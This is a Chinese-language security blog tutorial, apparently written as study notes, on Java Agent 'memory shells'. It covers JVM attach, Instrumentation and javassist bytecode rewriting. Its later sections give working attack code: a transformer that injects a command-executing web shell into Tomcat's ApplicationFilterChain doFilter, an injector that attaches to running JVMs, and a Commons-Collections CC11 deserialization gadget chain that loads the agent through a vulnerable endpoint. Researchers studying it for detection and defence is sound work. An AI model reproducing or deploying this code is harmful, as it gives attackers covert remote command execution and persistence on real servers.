前言

前面学了Filter型,Listen型内存马的基本行为分析,了解了内存马是怎么进行注入的!除此之外还有一种形式的内存马,Agent类型,关于Java Agent,主要是因为在jdk1.5后引入了一个包:java.lang.instrument

🍡Java Agent型内存马 - 图1

主要功能是提供了对Java程序进行检查的API,像监控,收集性能信息等。通过这个包去实现的一些工具就被称为Java Agent。直接一点说,它可以当作内存马的其中一种类型是依靠它的这个功能:它可以在不影响Java程序正常编译的情况下对字节码进行修改,也就是动态修改。所以才可以使用它来进行内存马的注入。

Java Agent注入

Java Agent的两种使用方式分别是premain(在启动Java虚拟机之前进行插入修改等操作)和agentmain(在Java虚拟机启动之后进行修改插入等操作)

premain

JVM启动前,会先执行premain方法,很多的类加载也是依靠这个方法,在执行main方法前会先执行premian中的加载活动。所以一般思路都是在premain中进行一些操作去插入或修改恶意类,在执行时加载进去,实现恶意类加载。

画图理解

🍡Java Agent型内存马 - 图2

在执行Java程序的时候,比如使用命令行执行,那么就会涉及到一些参数,比如-jar这种,-javaagent也跟-jar一样,也是一个参数,在执行程序时如果存在这个参数,那么就会在执行main方法前,去找这个参数后面跟的值,也就是一个jar文件,如果可以找到那么,就执行它里面的premain方法,如果没有找到,可能会报错。下面操作一下看效果。

首先创建一个存在main方法的类,只实现了一行打印。并将这个类打包,单个类打包的方法可以百度下,也可以参考我写的(防止忘记,记录一遍)https://www.yuque.com/m0re/demosec/sr2n6h#xuZxL

然后写premain方法,需要注意的是,使用一个空项目来写。不要跟刚才的类同存于一个项目。

从本质上讲,Java Agent 是一个遵循一组严格约定的常规 Java 类。 上面说到 javaagent命令要求指定的类中必须要有premain()方法,并且对premain方法的签名也有要求,签名必须满足以下两种格式:

  1. public static void premain(String agentArgs, Instrumentation inst)
  2. public static void premain(String agentArgs)

可以看到这两个方法不同的是参数的个数不同,第一个方法的优先级比较高,它是被优先执行的那个,如果他们两个同时存在,那么第二个方法会被忽略,只执行第一个方法。

测试代码如下:

  1. package com.sf.premain;
  2. import java.lang.instrument.Instrumentation;
  3. public class PreHello1 {
  4. public static void premain(String args, Instrumentation inst) throws Exception{
  5. for (int i = 0; i < 10; i++){
  6. System.out.println("调用premain");
  7. }
  8. }
  9. }

因为没有main方法,所以在打包时与平常的方式不太一样。

这里需要自己写MANIFEST.MF

  1. Manifest-Version: 1.0
  2. Premain-Class: com.sf.premain.PreHello1

注意这种文件类型的格式

  1. Premain-Class :包含 premain 方法的类(类的全路径名)
  2. Agent-Class :包含 agentmain 方法的类(类的全路径名)
  3. Boot-Class-Path :设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
  4. Can-Redefine-Classes true表示能重定义此代理所需的类,默认值为 false(可选)
  5. Can-Retransform-Classes true 表示能重转换此代理所需的类,默认值为 false (可选)
  6. Can-Set-Native-Method-Prefix true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

打包方法是,这里选择变了。

🍡Java Agent型内存马 - 图3

然后Mainfest File选择刚才自定义的文件即可。

🍡Java Agent型内存马 - 图4

最后按照正常步骤去打包就可以了

🍡Java Agent型内存马 - 图5

打包完成,找到jar包进行测试。结果也没问题。在执行main方法前执行了premain方法。

🍡Java Agent型内存马 - 图6

然而实际情况是,目标环境中的JVM一般都是正在使用(运行中)的状态,无法使用这种方式去预加载。

agentmain

agentmain和premain类似,只需要修改MANIFEST.MF,添加一行Agent-Class参数。这里mainfest后面详细介绍,这里先不说。

  1. Manifest-Version: 1.0
  2. Premain-Class: com.sf.premain.PreHello1
  3. Agent-Class: com.sf.agentmain.AgentHello1;

注意最后空行不能少,agentmain的执行图如下

🍡Java Agent型内存马 - 图7

agentmain-Agent实现的则是在JVM启动后进行加载,从而修改字节码。<font style="color:#E8323C;">注意:</font>在项目中没有自动加载tools这个工具包,需要手动导入。

🍡Java Agent型内存马 - 图8

导入方式:直接在配置中进行导入

🍡Java Agent型内存马 - 图9

还可以在pom.xml中进行导入,这个需要tools的绝对路径,在项目迁移的时候需要更改。不过这两种 都一样。使用哪一种都可以。

下面了解下tools包中的使用到的类,位置在com.sun.tools.attach.VirtualMachine主要使用到下面几个方法

  1. //允许我们传入一个JVM的PID,然后远程连接到该JVM上
  2. VirtualMachine.attach()
  3. //向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
  4. VirtualMachine.loadAgent()
  5. //获得当前所有的JVM列表
  6. VirtualMachine.list()
  7. //解除与特定JVM的连接
  8. VirtualMachine.detach()

另一个类:com.sun.tools.attach.VirtualMachineDescriptorVirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。

🍡Java Agent型内存马 - 图10

这里根据实际环境重新写一个main

  1. package com.sf;
  2. public class Hello1 {
  3. public static void main(String[] args) throws InterruptedException {
  4. while (true){
  5. System.out.println("hello");
  6. Thread.sleep(1000);
  7. }
  8. }
  9. }

运行起来,保证持续运行模拟一个正在运行的服务,可以使用命令jps -l来查看Java虚拟机跑起来的PID。

🍡Java Agent型内存马 - 图11

然后编写agentmain:(author:https://exp10it.cn/

  1. package com.sf.agentmain;
  2. import com.sun.tools.attach.VirtualMachine;
  3. import com.sun.tools.attach.VirtualMachineDescriptor;
  4. import java.io.File;
  5. import java.lang.instrument.Instrumentation;
  6. import java.util.List;
  7. public class AgentHello1 {
  8. public static void agentmain(String args, Instrumentation inst) throws Exception {
  9. System.out.println("agentmain");
  10. }
  11. public static void main(String[] args) throws Exception{
  12. List<VirtualMachineDescriptor> list = VirtualMachine.list(); // 得到 JVM 进程列表
  13. for (VirtualMachineDescriptor desc : list){ // 遍历
  14. String name = desc.displayName(); // 进程名
  15. String pid = desc.id(); // PID
  16. if (name.contains("com.sf.Hello1")){
  17. VirtualMachine vm = VirtualMachine.attach(pid);
  18. String path = new File("D:\\Test\\Agent\\Agentmain.jar").getAbsolutePath();
  19. vm.loadAgent(path);
  20. vm.detach();
  21. System.out.println("attach ok");
  22. break;
  23. }
  24. }
  25. }
  26. }

说下这个大概情况,在main方法中第一段代码的功能是跟jps -l这条命令差不多,得到所有的JVM的PID,然后使用contains方法找到我们想要注入的那个进程。然后利用loadAgent方法进行注册一个代理agent。

可以先运行一次,得到一个.class字节码文件。然后使用命令行进行打包

  1. jar cvfm Agentmain.jar MANIFEST.MF AgentHello1.class

说明:MANIFEST.MF文件中内容

  1. Manifest-Version: 1.0
  2. Premain-Class: com.sf.premain.PreHello1
  3. Agent-Class: com.sf.agentmain.AgentHello1

Premain-Class去掉不去掉无所谓的,优先级是Agent-Class高的。

Agentmain.jar的名字没有规定的。

🍡Java Agent型内存马 - 图12

打包好之后就可以在执行时指定File路径,重新执行就可以注入了。FIle真实存在,注入成功。

🍡Java Agent型内存马 - 图13

结果可以在运行的程序中看到。

🍡Java Agent型内存马 - 图14

Instrumentation 动态修改字节码

InstrumentationJVMTIAgentJVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

这个是一个接口类,里面有15个方法

🍡Java Agent型内存马 - 图15

这里挑出4个来看一下。分别是:addTransformer,getAllLoadedClasses,retransformClasses,isModifiableClasses

addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

isModifiableClasses方法可以判断某个类是否能被修改。

ClassFileTransformer

观察Instrumentation接口类的几个方法可以看到有一个出现次数比较多的类ClassFileTransformer,其实这个类的作用就是在拦截未加载或已加载的类时进行修改。

  1. public interface ClassFileTransformer {
  2. byte[]
  3. transform( ClassLoader loader,
  4. String className,
  5. Class<?> classBeingRedefined,
  6. ProtectionDomain protectionDomain,
  7. byte[] classfileBuffer)
  8. throws IllegalClassFormatException;
  9. }

例如:在每次加载类的时候都会调用transform方法

  1. public class DefineTransformer implements ClassFileTransformer {
  2. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  3. System.out.println(className);
  4. return new byte[0];
  5. }
  6. }

修改或增加的内容可以在transform方法中编写。这里是打印了一下className。修改字节码的操作是在这里的。

classfileBuffer 是原始的 class 字节码, 如果我们不想修改某个 class 就需要把这个变量原样返回。其他的用不到的就不做了解了。

代码测试部分:一个运行的程序

  1. package com.sf;
  2. public class Hello1 {
  3. public static String username = "admin";
  4. public static String password = "password";
  5. public static boolean checkLogin(){
  6. if (username == "admin" && password == "admin"){
  7. return true;
  8. } else {
  9. return false;
  10. }
  11. }
  12. public static void main(String[] args) throws Exception{
  13. while(true){
  14. if (checkLogin()){
  15. System.out.println("login success");
  16. } else {
  17. System.out.println("login failed");
  18. }
  19. Thread.sleep(1000);
  20. }
  21. }
  22. }

agent编写,解释写在注释中,不解释了。

  1. package com.sf.agentmain;
  2. import com.sun.tools.attach.VirtualMachine;
  3. import com.sun.tools.attach.VirtualMachineDescriptor;
  4. import javassist.*;
  5. import java.io.File;
  6. import java.lang.instrument.ClassFileTransformer;
  7. import java.lang.instrument.IllegalClassFormatException;
  8. import java.lang.instrument.Instrumentation;
  9. import java.security.ProtectionDomain;
  10. import java.util.List;
  11. public class AgentHello1 {
  12. public static void agentmain(String args, Instrumentation inst) throws Exception {
  13. for (Class clazz : inst.getAllLoadedClasses()){//获取所有已加载的class
  14. if (clazz.getName().equals("com.sf.Hello1")){//找到要注入的class
  15. inst.addTransformer(new TransformerTest(), true);//添加transformer
  16. inst.retransformClasses(clazz); //重新加载这个clazz
  17. }
  18. }
  19. }
  20. public static void main(String[] args) throws Exception{
  21. List<VirtualMachineDescriptor> list = VirtualMachine.list(); // 得到 JVM 进程列表
  22. for (VirtualMachineDescriptor desc : list){ // 遍历
  23. String name = desc.displayName(); // 进程名
  24. String pid = desc.id(); // PID
  25. if (name.contains("com.sf.Hello1")){
  26. VirtualMachine vm = VirtualMachine.attach(pid);
  27. String path = new File("D:\\Test\\Agent\\Agentmain.jar").getAbsolutePath();
  28. vm.loadAgent(path);
  29. vm.detach();
  30. System.out.println("attach ok");
  31. break;
  32. }
  33. }
  34. }
  35. }
  36. class TransformerTest implements ClassFileTransformer {
  37. @Override
  38. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  39. if (className.equals("com.sf.Hello1")){//transformer会拦截所有class,所以这里要先确认一下className是不是正确的
  40. try{
  41. ClassPool classPool = ClassPool.getDefault();
  42. CtClass ctClass = classPool.get("com.sf.Hello1");
  43. CtMethod ctMethod = ctClass.getDeclaredMethod("checkLogin");
  44. ctMethod.setBody("{System.out.println(\"inject success\"); return true;}");//更改的代码
  45. byte[] code = ctClass.toBytecode();
  46. ctClass.detach();
  47. return code;
  48. } catch (Exception e) {
  49. e.printStackTrace();
  50. return classfileBuffer;//如果没有修改,返回classfileBuffer原型就可以
  51. }
  52. }else {
  53. return classfileBuffer;
  54. }
  55. }
  56. }

注意:javassist需要手动通过pom导入(或其他方式导入)

然后还需要对 MANIFEST.MF进行修改。不加这两条配置会报错。

  1. Can-Retransform-Classes 是否支持类的重新替换
  2. Can-Redefine-Classes 是否支持类的重新定义
  1. Manifest-Version: 1.0
  2. Agent-Class: com.sf.AgentHello1
  3. Can-Redefine-Classes: true
  4. Can-Retransform-Classes: true

看下结果

🍡Java Agent型内存马 - 图16

报错问题解决整理

F: Agent JAR loaded but agent failed to initialize

Q: 检查一下MANIFEST.MF中的Agent-Class是不是填错了(我的是这个问题)

F:java -cp 找不到或无法加载主类

Q:这个不是大问题,是环境变量的问题,我这边选择替换,不使用命令行来进行执行。而是直接在idea中执行。不过后面注入内存马的时候就要看实际环境了。

后面还有我写在发生问题的位置了。一些报错的问题可以查看,差不多遇到的就是这几种:https://blog.z3ratu1.cn/Java%20Agent%E7%AE%80%E6%98%93%E5%85%A5%E9%97%A8.html

Agent内存马注入

命令注入内存马

网上的文章看了很多,大部分的师傅都是对org.apache.catalina.core.ApplicationFilterChain#doFilter进行修改。这里也利用这个。对doFilter进行修改。之前的Filter内存马的逻辑也学过的

项目代码:https://github.com/KpLi0rn/AgentMemShell,源码解读也就跟上面的修改字节码没什么区别,就是修改的内容变成了木马而已,代码中加了注释。

第一步,获取agent.jar

  1. import java.lang.instrument.Instrumentation;
  2. public class AgentMain {
  3. public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
  4. public static void agentmain(String agentArgs, Instrumentation ins) {
  5. System.out.println("running..................................");
  6. //注册我们自定义的转换器transformer
  7. ins.addTransformer(new DefineTransformer(),true);
  8. // 获取所有已加载的类
  9. Class[] classes = ins.getAllLoadedClasses();
  10. for (Class clas:classes){
  11. if (clas.getName().equals(ClassName)){
  12. try{
  13. // 对类进行重新定义
  14. ins.retransformClasses(new Class[]{clas});
  15. } catch (Exception e){
  16. e.printStackTrace();
  17. }
  18. }
  19. }
  20. }
  21. }

注册我们自己的transformer,代码看着多,其实就是一个逻辑,注释又写了一遍加深印象。

  1. package com.sf;
  2. import javassist.*;
  3. import java.lang.instrument.ClassFileTransformer;
  4. import java.security.ProtectionDomain;
  5. public class DefineTransformer implements ClassFileTransformer {
  6. public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
  7. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
  8. /*
  9. * 因为className的形式是com.xx.xx,所以这里是要将它换成com/xx/xx形式
  10. * */
  11. className = className.replace("/",".");
  12. if (className.equals(ClassName)){
  13. System.out.println("Find the Inject Class: " + ClassName);
  14. ClassPool pool = ClassPool.getDefault();
  15. try {
  16. CtClass c = pool.getCtClass(className);
  17. //修改doFilter这个方法
  18. CtMethod m = c.getDeclaredMethod("doFilter");
  19. //在不改变doFilter方法原来的字节码的前提下,在原有代码前插入以下字节码
  20. m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
  21. "javax.servlet.http.HttpServletResponse res = response;\n" +
  22. "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
  23. "if (cmd != null){\n" +
  24. " try {\n" +
  25. " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
  26. " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
  27. " String line;\n" +
  28. " StringBuilder sb = new StringBuilder(\"\");\n" +
  29. " while ((line=reader.readLine()) != null){\n" +
  30. " sb.append(line).append(\"\\n\");\n" +
  31. " }\n" +
  32. " response.getOutputStream().print(sb.toString());\n" +
  33. " response.getOutputStream().flush();\n" +
  34. " response.getOutputStream().close();\n" +
  35. " } catch (Exception e){\n" +
  36. " e.printStackTrace();\n" +
  37. " }\n" +
  38. "}");
  39. byte[] bytes = c.toBytecode();
  40. c.detach();
  41. return bytes;
  42. } catch (Exception e){
  43. e.printStackTrace();
  44. return classfileBuffer;
  45. }
  46. }else {
  47. return classfileBuffer;
  48. }
  49. }
  50. }

打包使用mvn assembly:assembly一开始可能会报错,我这里报错的是:

  1. Error reading assemblies: No assembly descriptors found.

在pom文件中添加下面的部分,添加的内容解释下:首先是mainfest的信息,然后就是maven-assembly-plugin这个插件,是为了可以成功打包而添加的插件。记得添加配置文件路径src/main/resources/assembly.xml

  1. <plugin>
  2. <groupId>org.apache.maven.plugins</groupId>
  3. <artifactId>maven-assembly-plugin</artifactId>
  4. <configuration>
  5. <!-- get all project dependencies -->
  6. <descriptorRefs>
  7. <descriptorRef>jar-with-dependencies</descriptorRef>
  8. </descriptorRefs>
  9. <!-- MainClass in mainfest make a executable jar -->
  10. <archive>
  11. <manifestEntries>
  12. <Project-name>${project.name}</Project-name>
  13. <Project-version>${project.version}</Project-version>
  14. <Agent-Class>AgentMain</Agent-Class>
  15. <Can-Redefine-Classes>true</Can-Redefine-Classes>
  16. <Can-Retransform-Classes>true</Can-Retransform-Classes>
  17. </manifestEntries>
  18. </archive>
  19. </configuration>
  20. <executions>
  21. <!-- bind to the packaging phase -->
  22. <execution>
  23. <id>make-assembly</id>
  24. <phase>package</phase>
  25. <goals>
  26. <goal>single</goal>
  27. </goals>
  28. </execution>
  29. </executions>
  30. </plugin>
  31. <plugin>
  32. <groupId>org.apache.maven.plugins</groupId>
  33. <artifactId>maven-assembly-plugin</artifactId>
  34. <configuration>
  35. <descriptors>
  36. <descriptor>src/main/resources/assembly.xml</descriptor>
  37. </descriptors>
  38. </configuration>
  39. </plugin>

然后在resources文件夹下创建assembly.xml文件并添加以下内容。

  1. <assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0"
  2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.0.0
  4. http://maven.apache.org/xsd/assembly-2.0.0.xsd">
  5. <id>jar-with-dependencies</id>
  6. <!--指明打包方式-->
  7. <formats>
  8. <format>jar</format>
  9. </formats>
  10. <includeBaseDirectory>false</includeBaseDirectory>
  11. <dependencySets>
  12. <dependencySet>
  13. <outputDirectory>/</outputDirectory>
  14. <useProjectArtifact>true</useProjectArtifact>
  15. <unpack>true</unpack>
  16. <scope>runtime</scope>
  17. <!--这里以排除 storm 环境中已经提供的 storm-core 为例,演示排除 Jar 包-->
  18. <excludes>
  19. <exclude>org.apache.storm:storm-core</exclude>
  20. </excludes>
  21. </dependencySet>
  22. </dependencySets>
  23. </assembly>

然后先执行下mvn clean清理下之前的历史残留缓存文件。

再去重新执行命令打包就可以成功。

🍡Java Agent型内存马 - 图17

成功打包后修改下MANIFEST.MF文件

  1. Manifest-Version: 1.0
  2. Can-Redefine-Classes: true
  3. Can-Retransform-Classes: true
  4. Agent-Class: AgentMain

修改再压缩就可以,然后执行注入就可以了

  1. package com.sf;
  2. import com.sun.tools.attach.VirtualMachine;
  3. import com.sun.tools.attach.VirtualMachineDescriptor;
  4. import java.io.File;
  5. import java.util.List;
  6. public class AgentMain {
  7. public static void main(String[] args) throws Exception{
  8. List<VirtualMachineDescriptor> list = VirtualMachine.list(); // 得到 JVM 进程列表
  9. for (VirtualMachineDescriptor desc : list){ // 遍历
  10. String name = desc.displayName(); // 进程名
  11. String pid = desc.id(); // PID
  12. if (name.contains("com.sf.agent.AgentApplication")){
  13. VirtualMachine vm = VirtualMachine.attach(pid);
  14. String path = new File("D:\\Test\\Agent\\Agentmain.jar").getAbsolutePath();
  15. vm.loadAgent(path);
  16. vm.detach();
  17. System.out.println("attach ok");
  18. break;
  19. }
  20. }
  21. }
  22. }
  23. }

结果如下:

🍡Java Agent型内存马 - 图18

反序列化注入内存马

SpringBoot下的一个含有Common-Collections3.2.1包的反序列化漏洞环境。

自己写了一个反序列化的

  1. package com.sf.zhuque;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.bind.annotation.ResponseBody;
  5. import javax.servlet.http.HttpServletRequest;
  6. import javax.servlet.http.HttpServletResponse;
  7. import java.io.ObjectInputStream;
  8. @Controller
  9. public class Test {
  10. @ResponseBody
  11. @RequestMapping("/unser")
  12. public String unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
  13. java.io.InputStream inputStream = request.getInputStream();
  14. ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  15. objectInputStream.readObject();
  16. return "Success!";
  17. }
  18. @ResponseBody
  19. @RequestMapping("/demo")
  20. public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
  21. return "Hello,Sentiment!";
  22. }
  23. }

在pom.xml中将Common-Collections3.2.1依赖添加进去就可以。

通过反序列化将agent.jar注入进去,像上面的命令注入那样,只不过需要做一些修改。

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import java.lang.reflect.Method;
  7. import java.net.URL;
  8. import java.net.URLClassLoader;
  9. import java.util.List;
  10. public class Evil extends AbstractTranslet {
  11. static {
  12. try{
  13. java.lang.String path = "D:\\Test\\Agent\\AgentJsp-jar-with-dependencies.jar";
  14. URL[] url = {new URL("file:///D:/Program Files/Java/jdk1.8.0_172/lib/tools.jar")};
  15. java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
  16. Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  17. Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  18. Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
  19. List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);
  20. for(int i=0;i<list.size();i++){
  21. Object o = list.get(i);
  22. Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
  23. String name = (String) displayName.invoke(o,null);
  24. System.out.println(name);
  25. //自己的springboot运行路径
  26. if (name.contains("com.sf.agent.AgentApplication")){
  27. Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
  28. String id = (String) getId.invoke(o,null);
  29. System.out.println("id => " + id);
  30. Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
  31. Object vm = attach.invoke(o,new Object[]{id});
  32. Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
  33. loadAgent.invoke(vm,new Object[]{path});
  34. Method detach = VirtualMachine.getDeclaredMethod("detach",null);
  35. detach.invoke(vm,null);
  36. System.out.println("Inject Success!");
  37. break;
  38. }
  39. }
  40. } catch (Exception e){
  41. e.printStackTrace();
  42. }
  43. }
  44. @Override
  45. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  46. }
  47. @Override
  48. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  49. }
  50. }

编译成class文件,然后转换成base64编码

  1. import java.net.URI;
  2. import java.nio.file.Files;
  3. import java.nio.file.Paths;
  4. import java.util.Base64;
  5. public class Util {
  6. public static void main(String[] args) throws Exception {
  7. URI uri = Util.class.getClassLoader().getResource("Evil.class").toURI();
  8. byte[] codeBytes = Files.readAllBytes(Paths.get(uri));
  9. String base = Base64.getEncoder().encodeToString(codeBytes);
  10. System.out.println(base);
  11. }
  12. }

这个是之前康哥分享免杀马的时候用到的一个用来进行Base64编码加密的文件,借来用用。

得到编码后利用CC11进行注入

  1. package com.sf;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.Base64;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class CC11 {
  14. public static void main(String[] args) throws Exception{
  15. TemplatesImpl templates = new TemplatesImpl();
  16. Class cc11 = templates.getClass();
  17. Field nameField = cc11.getDeclaredField("_name");
  18. nameField.setAccessible(true);
  19. nameField.set(templates, "m0re");
  20. Field bytecodesField = cc11.getDeclaredField("_bytecodes");
  21. bytecodesField.setAccessible(true);
  22. //这里省略掉了,代码量有点多
  23. byte[] code = Base64.getDecoder().decode("yv66vgAAADQAfwoAJQ.........AAAAAIAOQ==");
  24. byte[][] codes = {code};
  25. bytecodesField.set(templates, codes);
  26. Field tfactoryField = cc11.getDeclaredField("_tfactory");
  27. tfactoryField.setAccessible(true);
  28. tfactoryField.set(templates, new TransformerFactoryImpl());
  29. InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
  30. HashMap<Object, Object> hashMap = new HashMap<>();
  31. Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("m0re"));
  32. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
  33. HashMap<Object, Object> pocMap = new HashMap<>();
  34. pocMap.put(tiedMapEntry, "value");
  35. lazyMap.remove(templates);
  36. Class c = LazyMap.class;
  37. Field factoryField = c.getDeclaredField("factory");
  38. factoryField.setAccessible(true);
  39. factoryField.set(lazyMap, invokerTransformer);
  40. serialize(pocMap);
  41. // unserialize("agent.ser");
  42. }
  43. public static void serialize(Object obj) throws IOException {
  44. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("agent.ser"));
  45. oos.writeObject(obj);
  46. }
  47. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  48. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  49. Object obj = ois.readObject();
  50. return obj;
  51. }
  52. }

然后可以通过curl或者postman进行传入

🍡Java Agent型内存马 - 图19

看下后台

🍡Java Agent型内存马 - 图20

没有成功,看样子应该是tools.jar没有被加载进来。查一下…..

果然是我创建的项目没加载tools.jar。所以这里先手动添加下。然后再次运行项目,用agent.ser打一下

可以看到后台是成功了。

🍡Java Agent型内存马 - 图21

看下木马效果

🍡Java Agent型内存马 - 图22

参考文章

https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq

https://goodapple.top/archives/1355

https://exp10it.cn/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC

https://www.freebuf.com/articles/web/323621.html

http://www.bmth666.cn/bmth_blog/2022/11/16/Java-Agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

https://blog.csdn.net/weixin_54902210/article/details/126353573